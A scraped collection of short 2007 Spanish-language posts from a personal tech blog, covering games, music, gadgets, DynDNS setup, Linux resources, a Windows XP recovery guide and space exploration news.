                Es un shooter creado de forma independiente por Jonathan Mak's, esta es su web:

                http://www.queasygames.com/

                Vas a ver como suena el juego, al parecer cada disparo, explosión, etc, es una combinación de acordes y punteos de guitarra, con una melodia al fondo, es espectacular.

                www.cyberhades.com

                &quot;Wii Zapper&quot; ... vaya pasada

                A continuación, la nueva maravilla de Nintendo, el Wii Zapper, que por si fuera poco, dicen que está preparado especialmente para el nuevo Zelda, aunque puedes jugar en otros como en Medal of Honor, etc ...

                Os paso un video de "vidaextra":

                http://www.vidaextra.com/2007/07/11-e3-2007-nintendo-presenta-wii-zapper

                Y buscando, buscando, he encontrado otros zappers, jugar el Resident Evil te va a parecer de lo más real:

                Cómo saber qué IP tengo (aunque sea IP Dinámica)

                A veces es necesario saber la dirección IP de nuestro router para poder conectarnos por control remoto, crear un servidor Web ó FTP, etc ...

                La mayoría tenemos IP Dinámica, que cambia cada x tiempo por otra, por lo que no puedes saber la IP que tienes para conectarte. Pero hay una forma muy sencilla y gratuita, primero tienes que darte de alta en:

                https://www.dyndns.com/

                Una vez dado de alta, en tu cuenta, busca el apartado:

                "HostNames" y pulsa en "Add Host Name".

                Elige tu nombre de Web también el dominio (tiene varios a elegir), el resto de opciones, si no quieres nada en concreto, déjalas como están.

                Luego tienes que bajarte un programa llamado "DynDns Updater", que se instala en tu ordenador y será quien conecte con DynDns periódicamente para decirle que IP tienes.

                De todas formas, mira en la configuración del router porque la mayoría de ellos ya vienen con opciones implementadas para gestionar este tipo de servicios sin tener que instalar nada en el ordenador.

                Una vez hecho esto, ya lo tienes, habrás creado algo parecido a:

                minombredeweb.dyndns.org

                Ahora si haces por ejemplo un comando "ping" desde una línea de comandos desde cualquier ordenador conectado a Internet:

                c:\ping minombredeweb.dyndns.org

                te devolverá la dirección IP de tu router/modem/ordenador/red. Entonces ya podemos crear lo que queramos en casita para que sea accesible desde la web.

                Espero que os sea útil.

                He encontrado este enlace en la web que lo explica más a fondo:

                http://www.rafamerida.com/?q=node/75&from=30&comments_per_page=30

                www.cyberhades.com

                ¿Necesitas tutoriales &quot;how to&quot; para …

                Si tienes cualquier problema a la hora de implementar cualquier sistema Linux, desde una distribución concreta a un servidor Apache, Web, MySQL, etc ... este es el sitio donde buscar (por supuesto todo en inglés).

                http://www.howtoforge.com/

                

                Y en castellano:

                http://www.linux-es.org/documentacion

                http://www.bdat.net/

                http://es.tldp.org/FAQ/FAQ-R34.LINUX/html/FAQ-R34.LINUX-11.html

                www.cyberhades.com

                &quot;The Thermals&quot; grupazo

                Ahora algo de música, este grupo ya hace tiempo que lo conocía “The Thermals”.

                El último disco (el tercero) es muy bueno: “The Body, The Blood, The Machine” , pero los otros dos anteriores son espectaculares.

                http://en.wikipedia.org/wiki/The_Thermals

                Una banda de tres que suenan como diez ;)

                Y de muestra, un video:

                Mapa del mundo (en blanco) gratuito ...

                

                Bueno a veces necesitamos un mapa del mundo para algún programa, página web, impreso, etc ... en esta web lo tienes con licencia CC.

                http://english.freemap.jp/

                También hay otros mapas de otras zonas concretas del mundo.

                Puedes volcarlo en varios formatos gráficos.

                www.cyberhades.com

                Nuevo anuncio de Sony Bravia

                Bueno estos de Sony cada vez se superan más, vaya pasada de anuncio.

                Lo ví en GIZMODO, excelente web:

                http://www.gizmodo.es/2007/10/05/nuevo_anuncio_del_sony_bravia_es_flipante_es_la_leche_es_una_copia.html

                En él se habla sobre alguna posible copia de Sony … mejor lo léeis en el enlace.

                Este es el anuncio, de todas formas es alucinante (excelente canción de los Rolling):

                www.cyberhades.com

                La extraña nueva película de J.J. Abrams

                

                ¿Y quién es este J.J. Abrams?, por ejemplo el guionista de "Lost" entre otros. La rumorología sobre la película es espectacular en la red. La gente está analizando hasta límites insospechados el único trailer:

                Además ahora aparece esta web con la fecha del estreno:

                http://www.1-18-08.com/

                En la que aparecen sólo una fotos y nada más (a lo mejor no tiene ni siquiera nada que ver). Pero es de admirar la campaña publicitaria manejando los hilos de comunicación en los foros y las web de Internet.

                Y lo mejor, esto está dedicado a mi amigo Jorge, oye Jorge, parece que Cthulhu está en la ciudad ;) ... (si, los rumores hablan de los mitos).

                http://es.wikipedia.org/wiki/Cthulhu

                Bueno esperaremos con impaciencia más rumores.

                www.cyberhades.com

                El &quot;hamster&quot; que da energía a …

                Hoy tenía “mono” de ver el capítulo primero de la segunda temporada de “Heroes”, he intentado buscarlo en la página (que de paso os recomiendo que la veáis por si quieres buscar alguna serie):

                http://www.stage6.com/

                Me ha aparecido el siguiente error: Que más o menos viene a decir:

                “Gracias por visitar Stage6: desafortunadamente, Stage6 está temporalmente no dispoble mientras damos de comer al hamster que dá energía al web. Esperamos tener al hamster alimentado y puesto de nuevo en su rueda en breve …”

                &quot;ThinkGeek&quot;, donde lo compraría todo ...

                

                Supongo que todos conocéis esta página:

                http://www.thinkgeek.com/

                Pero para los que no la conocéis, os recomiendo que la veáis YA. Si esta tienda estuviera cerca de donde vivo, posiblemente todo mi sueldo iría a parar allí.

                Entre mis favoritos:

                http://www.thinkgeek.com/gadgets/cellphone/8928/

                (un teléfono bluetooth pero los viejos)

                http://www.thinkgeek.com/gadgets/electronic/884f/

                (un control remoto "universal")

                http://www.thinkgeek.com/gadgets/tools/3653/

                (una navaja suiza espectacular)

                Y podría seguir durante muchas horas más ;)

                www.cyberhades.com

                &quot;Opportunity&quot; empieza a explorar el …

                No deja de asombrarme la historia de estas sondas… es realmente impresionante.

                Ahora “Opportunity” ha empezado a descender por el cráter Victoria, después de una parada por tormentas de polvo en Marte, que hacía que el polvo acumulado en sus paneles solares no dejaba recargar las baterías.

                Al parecer con un poco de viento marciano y con el cielo más despejado han empezado de nuevo a cargarse y a funcionar … y digo yo ¿no conocen los “limpiaparabrisas” ? ;)

                ¿Dónde está trabajando ahora Linus Torvalds?

                Bueno después de leer la biografía de linux (mira el enlace de "libros que estamos leyendo", allí verás cual), acaba con Linus trabajando en Transmeta (una compañía de la que se especuló mucho sobre la construcción de microprocesadores y ordenadores revolucionarios basados en Linux) me he quedado un poco con las ganas de saber que estaba haciendo ahora.

                Bueno pues trabaja para:

                http://osdl.org/en/Main_Page

                &quot;Génesis 3:19&quot; y &quot;3:19&quot; de …

                Hola otra vez:

                Quiero comentaros que estoy deseando ver la película de nuestro buen amigo y como no, friki "manzanero" (ya tiene su iPhone y todo ... no sé si notáis la envidia) , Dany Saadia (un genio):

                http://www.danysaadia.com/

                

                Me encantó el corto "Génesis 3:19"

                http://www.genesis319.com/

                Y estoy deseando ver la película que se estrenará este verano "3:19", donde las casualidades forman al final, un sistema complejo de hilos que a su vez forman un universo donde nada es casualidad ;)

                Te deseamos la mayor suerte con la película.

                Un abrazo.

                PD: Por cierto Dany, no traigas tu iPhone o te lo quitaré, o lo perderás cuando nos bebamos unas absentas en ese bar que ya conoces ;)

                www.cyberhades.com

                &quot;Dixo&quot;, tienes que visitarla ...

                

                Tenemos amigos en la web de Dixo:

                http://www.dixo.com/

                http://prodigymsn.dixo.com/

                es altamente recomendable si te gusta el cine, la música, los comics etc ...

                Excelente podcast.

                Ya iremos desvelando más cositas ... ;)

                www.cyberhades.com

                &quot;The King of the Kong&quot; ... sólo leelo si …

                

                Lo he visto en

                http://www.pixelydixel.com/2007/09/the-king-of-the-kong.html

                Me he quedado alucinado.

                Leelo y flipa ;)

                www.cyberhades.com

                Cómo recuperar un Windows XP que no arranca ...

                

                Índice:

                Intro Caso 1: Windows XP se reinicia y posible “pantallazo azul de la muerte” Caso 2: “NTOSKRNL Missing or Corrupt” Caso 3: “HALL.DLL Missing or Corrupt” Caso 4: “Corrupted or Missing \WINDOWS\SYSTEM32\CONFIG\SOFTWARE” Caso 5: “NTLDR or NTDETECT.COM not found” Caso 6: El perfil del usuario se ha vuelto inestable y aparecen errores Caso 7: Solución Hardware Caso 8: Cómo realizar un arranque NTFS

                Intro: La mayoría de las veces en las que vemos errores del tipo “pantalla azul de la muerte”, o cuando se reinicia el XP una y otra vez, la única opción es formatear de nuevo el ordenador. Con esta pequeña guía que he hecho recopilando varias fuentes de usuarios y de Microsoft, intentaremos al menos, arrancar con una copia anterior (punto de restauración) e incluso repararlo casi al 100% desde la línea de comandos.

                Aprobada la creación de DVD's de 51 Gb ...

                Leido en:

                http://forevergeek.com/movies/hd-dvd_51_gb_disk_approved_for_production.php

                El forum del DVD ha aprobado el nuevo tipo de DVD de 51 gb, de triple capa.

                Al parecer y según rumores, es compatible con los lectores de DVD de primera y segunda generación (casi todo los comprados en los últimos 1 o 2 años).

                Eso es una muy buena noticia .. si se confirma.

                Tenori-On, instrumento musical revolucionario

                Leido en:

                http://www.pixelydixel.com/2007/09/tenori-on-ya-a-la-venta.html

                Alucinante, al parecer es el creador para Nintendo DS de Electroplankton.

                www.cyberhades.com

                Más sobre juegos &quot;Retro&quot;

                He visto en la mítica y fantástica “Microsiervos” esta entrada sobre el juego “Marble Madness”:

                http://www.microsiervos.com/archivo/juegos-y-diversion/marble-madness-record.html

                También hacen referencia a:

                

                http://marp.retrogames.com/

                Una página con trucos y videos como el de antes sobre como batir records y guías para estos juegos clásicos.

                !Quien hubiera tenido esto hace unos añitos¡ ¿verdad? ;)

                www.cyberhades.com

                Arqueología en Internet y la seguridad

                Existe un archivo con más de 85 billones (billones americanos) de páginas , exactamente tal y como estaban en 1996 (época en la que empezó realmente la Web tal y como la conocemos).

                http://www.archive.org/web/web.php

                Es curioso dar un paseo y ver las páginas tal y como estaban hace unos añitos.

                Estos son algunos ejemplos:

                http://web.archive.org/collections/pioneers.html

                Pero no todo es archivo de 1996, también se almacenan páginas Web de hace sólo unos meses ... esto lleva a un pequeño problema de seguridad. Cualquier atacante potencial a una página web concreta, puede acceder a esa misma página con el código tal y como estaba unos meses antes de publicar la nueva y encontrar, buscando un poco, algún fallo en la seguridad que haya heredado la nueva versión de la web.

                Por otro lado, también puede servir para comprobar y reparar errores en páginas una vez publicadas la nueva versión. A veces puedes encontrar también ficheros que ahora ya no están disponibles "on line" pero puede que esten archivados en estas páginas.

                De todas formas, la utilidad y la contribución a la historia de Internet (y del mundo) es incuestionable.

                Ya hablaré más adelante de esta fantástica página web ... tiene mucho más que ofrecer ...

                www.cyberhades.com

                Dominando el &quot;PacMan&quot; ...

                Siempre había querido, como buen friki, dominar el todopoderoso juego "PacMan". Más o menos lo controlas pero nunca pasas de 3 o 4 pantallas, para eso hay que dominar los patrones (patterns, en inglés).

                Sabía de la existencia de patrones para seguir una frecuencia de movimientos con el joystick y más o menos, avanzar hasta el famoso millón de puntos. Hasta ahora no me había molestado en mirarlos, pero he practicado uno de ellos y no veas como flipas cuando lo controlas.

                Comparativa de Naves Espaciales Ciencia Ficción

                

                ... toma frikada que me encontrado en:

                http://www.scifiscoundrels.com/images/comparison.gif

                Nada menos que una comparativa de todas las naves espaciales más famosas de series y películas de ciencia ficción ...

                ¿Te imaginas cual es la más grande?

                www.cyberhades.com

                Los &quot;gadgets&quot; de Google como herramienta …

                

                Leido en KRIPTOPOLIS ...

                http://www.kriptopolis.org/gadgets-google-phishing

                Bueno, esto nos hace pensar un poco, ya que estábamos pensando en implementar algunas cosillas con el sistema de gadgets de Google.

                Seguiremos informando ...

                www.cyberhades.com

                ... Top Podcasting

                Como le comenté a mi gran amigo DuenD estas vacaciones tomando unas cervecitas y algún pescaito frito ;) , voy a poner todos los podcasts que estoy oyendo con algún breve comentario sobre ellos.

                Como paso algunas horas en el coche en mi trabajo, siempre llevo conmigo algún podcast para ponerme un poco al día y también aprovechar ese tiempo perdido al conducir.

                Hay cientos de podcast sobre todo los temas posibles, pero como soy friki y no lo puedo remediar, todos son sobre informática, comics o ciencia ficción ;) Si quieres ver más tipos de podcasts:

                ... Asimilando la Campus Party 11

                

                Aún estamos NOP y yo intentando asimilar todo lo que nos ha pasado y hemos aprendido en la Campus Party 11 de este año.

                Lo mejor, las conferencias maestras de Google, en las que hemos aprendido a como crear Gadgets, utilizar las API de Google y el GData. Conferencias impartidas por ingenieros de software de Google. También la velocidad de Internet y de descarga de ficheros, impresionante.

                Lo peor, que se ha acabado ;) debería de estar todo el año ...

                Os paso algunas imágenes ...

                

                

                &quot;Hack a Day&quot; una página sobre Hardware …

                

                No dejo de alucinar con esta página de Hardware Hacking (modificar aparatos electrónicos) , cada vez que entro me doy cuenta de lo friki que es la gente y sobre el NIVELAZO que tiene en electrónica/informática.

                http://www.hackaday.com/

                Cada día, un nuevo proyecto de Hardware Hacking.

                Fijáos en la lista de proyectos que tienen ... playstation, portátiles, iPod, etc ...

                Alucinante.

                www.cyberhades.com

                Instalación de 3 sistemas operativos en un mismo …

                

                Pues si, sólo queria comentar que tengo instalado en mi equipo:

                Windows XP Profesional

                Windows Vista Bussines

                Linux Ubuntu 7.06 Feist

                En tres particiones diferentes y la verdad es que los tres van perfectamente.

                Y como antes le hemos dado caña a Microsoft, también quiero decir algo bueno. A pesar de las críticas, muchas de ellas infundadas, hacia Windows Vista, la verdad es que cada día me gusta más (esto lo digo con riesgo a que DuenD tenga una venganza hacia mi persona) ;)

                ... no voy a entrar en discusión sobre esto, ya abriremos un hilo para discutir los pro y los contra de los dos S.O.

                Y un consejo, el orden de instalación es el siguiente:

                XP, luego Vista y por último Linux Ubuntu, para que sea GRUB (el loader de Linux) el que gestione el arranque de los S.O.

                Como te toca trabajar a diario con los tres, pues me quedo con los tres ;)

                www.cyberhades.com

                La innovación de Microsoft

                Veo en porta-folio.com y Armantia una comparativa entre logos de Apple y Microsoft, haciendo este último una copia descarada del primero (como no), pero la capacidad de “innovación” de estos “señores” no se queda aquí, sino que parece que en su momento, también hicieron un plagio del logo de Ubuntu

                Juzguen ustedes mismos:

                ... la mejor banda, &quot;Sigur Rós&quot;

                

                No podía faltar este grupo, mi favorito.

                Os dejo algunos de los videos que más me gustan ...

                Y de un documental que no os podéis perder, está al final, paisajes increibles de Islandia.

                -Sæglópur

                • Glósóli

                • untitled #1

                - Hoppipolla

                - Documental "Takk", impresionante.

                www.cyberhades.com

                Hemos visto a &quot;Arcade Fire&quot; en el …

                No Cars Go … (exactamente igual que en el Summercase de Madrid) … impresionante

                PD: Dedicado a Juanpe, Gloria y por supuesto a Guillermo ;)

                www.cyberhades.com

                &quot;Eclipse&quot; un entorno de programación …

                Ahora que estado un poco metido en Java, he probado este JDK o entorno de programación Java que funciona muy bien.

                Es fácil e intuitivo de usar y puedes ver directamente el resultado del programa en cuanto lo compilas.

                

                Aparte genial gestión de errores, dependencias, herencias entre objetos, etc ... así como una buena ayuda y base de datos sobre clases disponibles para tus programas.

                Tiene detrás una comunidad enorme que contínuamente está publicando mejoras, añadidos y código fuente.

                http://www.eclipse.org/

                Voy a por un cafe ... ;)

                www.cyberhades.com

                Las auténticas 7 maravillas de la historia de la …

                

                Después de la pequeña decepción (ya que no creo en que se pueda decidir tal calificativo de MARAVILLA enviando sms o emails, para eso están los expertos) de la Alhambra, en una conversación que no recuerdo donde ni con quién, se preguntó cuáles eran las originales siete maravillas del mundo.

                Pues eran estas:

                1- LAS PIRAMIDES

                2- EL MAUSOLEO DE HALICARNASO

                3- EL COLOSO DE RODAS

                4- EL FARO DE ALEJANDRIA

                5- EL TEMPLO DE ARTEMIS EN EFESO

                6- LOS JARDINES COLGANTES DE BABILONIA

                7- LA ESTATUA DE ZEUS EN OLIMPIA

                Si queréis profundizar en el tema, os recomiendo este enlace:

                http://www.lector.net/phymay00/siete.htm

                ¡Viva la Alhambra!

                www.cyberhades.com

                Mi nuevo héroe, Cálico Electrónico

                

                No sé como no he descubierto antes a Cálico, y mira que NOP me lo enseñó hace tiempo en el bar de “Moe” ;)

                Este es uno de mis capítulos preferidos … que crack …

                www.cyberhades.com

                Trailer sobre juego &quot;LittleBigPlanet&quot;

                He visto este trailer en www.vidaextra.com (página que por cierto recomiendo).

                Tiene buena pinta y parece divertido ya que puedes construir tu mismo los niveles y los objetos.

                LittleBigPlanet

                Creo que de momento está para sólo para Playstation 3 …

                Lunes Perro.....

                Ya estoy aquí, por fin encontré un rato tranquilo para escribir algo.
                

                
                

                
                

                
                

                
                

                
                

                Os dejo un link de elotrolado.net, es una entrevista al jefe de producto de XBOX España. Tratan varios temas, baneo de usuarios, luces rojas, etc...

                
                

                
                

                http://www.elotrolado.net/showthread.php?s=&threadid=802357

                
                

                
                

                
                

                
                

                Parece que Microsoft ha ampliado la garantía de la XBOX 360 a 3 años. ¿Por que sera? ¿Tal vez porque la gente acababa utilizándola para esto?
                
                http://www.youtube.com/watch?v=oLabckoPC0g
                
                Ahora que viene el veranito, marchando un huevo fritoooo.....

                www.cyberhades.com

                Si quieres regalarme algo ;) ... Lego MindStorm

                

                Si quieres hacerme un regalo, ya sabes, esto es lo que quiero ;)

                Es una forma rápida de practicar robótica y programación, sin tener que construir tu mismo todos los circuitos para motores, sensores, etc …

                Pásate por la página de LEGO y verás la de combinaciones que tiene de sensores, formas, tracción, etc …

                http://mindstorms.lego.com/eng/default.aspx

                Bueno, lo dicho.

                Máquinas Virtuales, la crisis de identidad del …

                

                Últimamente estoy trabajando bastante con máquinas virtuales, en concreto usando el "Virtual PC" de Microsoft (que por cierto es gratuito).

                http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx

                Una máquina virtual es la simulación de otro ordenador (o varios) desde uno principail. Puedes ejecutar varias máquinas virtuales a la vez con diferentes sistemas operativos. Cada copia es independiente del sistema operativo en el cual se ejecuta, con lo que tenemos libertad absoluta para poder experimientar e incluso "meter la pata" en estas copias, ya que no afectarán al sistema operativo principal.

                Esta es la entrada en la Wikipedia por si quieres saber más sobre el tema:

                http://es.wikipedia.org/wiki/M%C3%A1quina_virtual

                www.cyberhades.com

                &quot;La Rosa de los Vientos&quot;, una maravilla

                Siempre escucho en coche algún podcast (ya pondré una lista) o algún programa de radio descargado de Internet, para hacer los viajes más amenos, pero si tengo que elegir uno de ellos por lo que aprendo y lo que me entretiene es “La Rosa de los Vientos” de OndaCero, presentado por Juan Antonio Cebrián.

                Como son programas que suelen emitir a altas horas de la madrugada, aqui os paso algunos links directos para descargarlos.

                Este enlace tiene la ventaja de tener todos los apartados (como "La Zona Cero") ya preparados para descargar, es genial ya que el programa dura 3 horas y es dificil grabarlo en CD.

                http://regocijos.hollosite.com/?cat=8&paged=4

                Aquí tienes todos los programas completos para descargar.

                http://www.rosavientospodcast.com/podcast/temporada/actual/

                Este otro sólo tiene para descargar un apartado, mi favorito, "Pasajes de la Historia" donde Juan Antonio Cebrián narra de forma magistral y muy bien ambientado, diferente hechos históricos. La mejor forma de aprender historia. También contiene los "Versus", donde se explican los enfretamientos entre personajes históricos.

                http://pasajesdelahistoria.ueuo.com/

                Os recomiendo de verdad que os bajéis alguno de ellos.

                www.cyberhades.com

                Wallpapers para monitores duales

                

                Leyendo en la página de "ElGeek" http://elgeek.com/ he visto un recurso que me parece interesante, aunque sólo es visual ya que son fondos de pantallas para dos monitores en modo dual.

                http://elgeek.com/2007/07/05/wallpapers-para-monitores-duales/

                El uso de dos monitores en modo dual tiene muchas ventajas, tanto para programadores, ya que puedes ver el resultado de la ejecución de un código directamente en el otro monitor, como para los más jugones ;) donde puedes ver la acción en uno y por ejemplo, los mapas en el otro.

                Saludos.

                www.cyberhades.com

                Juego en Flash &quot;Boomshine&quot;

                

                He visto en la página de:

                http://www.neatorama.com/

                Un juego en Flash bastante adictivo, sobre hacer explotar unas pelotas y crear una reacción en cadena para hacer que exploten el mayor número de ellas.

                Es parecido al legendario "Missile Defender" de Atari ... que tiempos aquellos ... :_ )

                http://www.k2xl.com/games/boomshine/

                Ya pondré algunos otros que he visto y me han gustado.

                www.cyberhades.com

                ¡Nos vamos a la Campus!

                

                El día 23 comienza la Campus Party en Valencia, y como nos pilla cerca ;) nos vamos a pasar algunos días por allí.

                Ya hemos ido en otras ocasiones y la verdad es que el ambiente es bastante bueno en general, y sobre todo se aprende bastante de las charlas organizadas y demás eventos.

                Este año vamos al apartado de "Software Libre".

                Haremos un seguimiento publicando aquí las cosas que vayamos viendo por la Campus.

                http://web7.campus-party.org/

                www.cyberhades.com

                El &quot;Opportunity&quot; llega al cráter …

                

                El hito histórico de estas dos máquinas en Marte continúa ... la nueva aventura, bajar a este cráter y buscar más evidencias de agua.

                Foto de: http://antwrp.gsfc.nasa.gov/apod/

                (Astronoy Picture of the day), una web donde cada día te aparece una foto relacionada con la astronomía.

                

                La historia de estos robots es muy interesante y espectacular, ya que llegaron a Marte en 2004 y estaban teóricamente preparados para durar unos pocos meses, y aún perduran a toda máquina.

                Estas son dos entradas de la Wikipedia sobre los dos robots, "Opportunity" y "Spirit":

                http://es.wikipedia.org/wiki/Opportunity

                http://es.wikipedia.org/wiki/Spirit

                 

                www.cyberhades.com

                Conversor &quot;on line&quot; y descarga directa …

                Sólo tienes que poner la URL en la ventana, por defecto convierte cualquier video a “.AVI”

                http://vixy.net/

                Genial.

                www.cyberhades.com

                Los mejores juegos &quot;libres&quot;

                

                Vía http://www.vidaextra.com/ encontré este ranking de los juegos "gratis" ó libres de la red:

                http://www.vidaextra.com/2007/06/14-los-mejores-juegos-libres#more

                A ver si probamos alguno.

                www.cyberhades.com

                &quot;Amiina&quot;, concierto para la televisión …

                Buen grupo, acompañan habitualmente a Sigür Rös en sus conciertos.

                Ha sacado un nuevo disco, se llama “Kurr”.

                He visto este video que es un concieto para la televisión islandesa.

                fijaros en los instrumentos :O

                Esto creo que le gustará mucho a duend ;)

                www.cyberhades.com

                El otro &quot;iPhone&quot;

                

                Ahora que acaba de salir el iPhone de Apple, he encontrado este otro pero versión "Open" ;)

                http://linuxdevices.com/news/NS8509737406.html

                Bueno tampoco rechazaría un iPhone auténtico ...

                 

                Estas son las preguntas más frecuentes sobre el iPhone:

                http://www.ipodnoticias.com/seccion/iphone?gclid=COfPvoG6iY0CFQtHQwodNzQ5pQ

                www.cyberhades.com

                Bueno algo de música, video de LO-FI-FNK ...

                … tienen algo retro que me gusta …

                www.cyberhades.com

                Links a webs de guías rápidas de referencia

                

                Siempre me han gustado este tipo de guías, así que os paso algunos links donde conseguirlas.

                Hay de todo, desde juegos a programación (casi todas en PDF):

                Espero que os sirvan.

                http://www.digilife.be/quickreferences/quickrefs.htm

                http://www.ilovejackdaniels.com/cheat-sheets/

                http://refcards.com/subject/all

                http://mypage.bluewin.ch/a-z/yuppi/links/cheatsheets.html

                Un saludo.

                www.cyberhades.com

                Este es el nuevo Caronte ...

                

                ... Al menos es el Caronte real (satélite de Plutón ... ¿o es al revés?)

                 

                www.cyberhades.com

                El Barquero

                -> CyberHades … otro blog más de informática, donde nosotros tres publicaremos lo que nos parezca más interesante por esos mundos de Internet, para compartirlo con quien quiera acompañarnos.

                Un saludo.

                www.cyberhades.com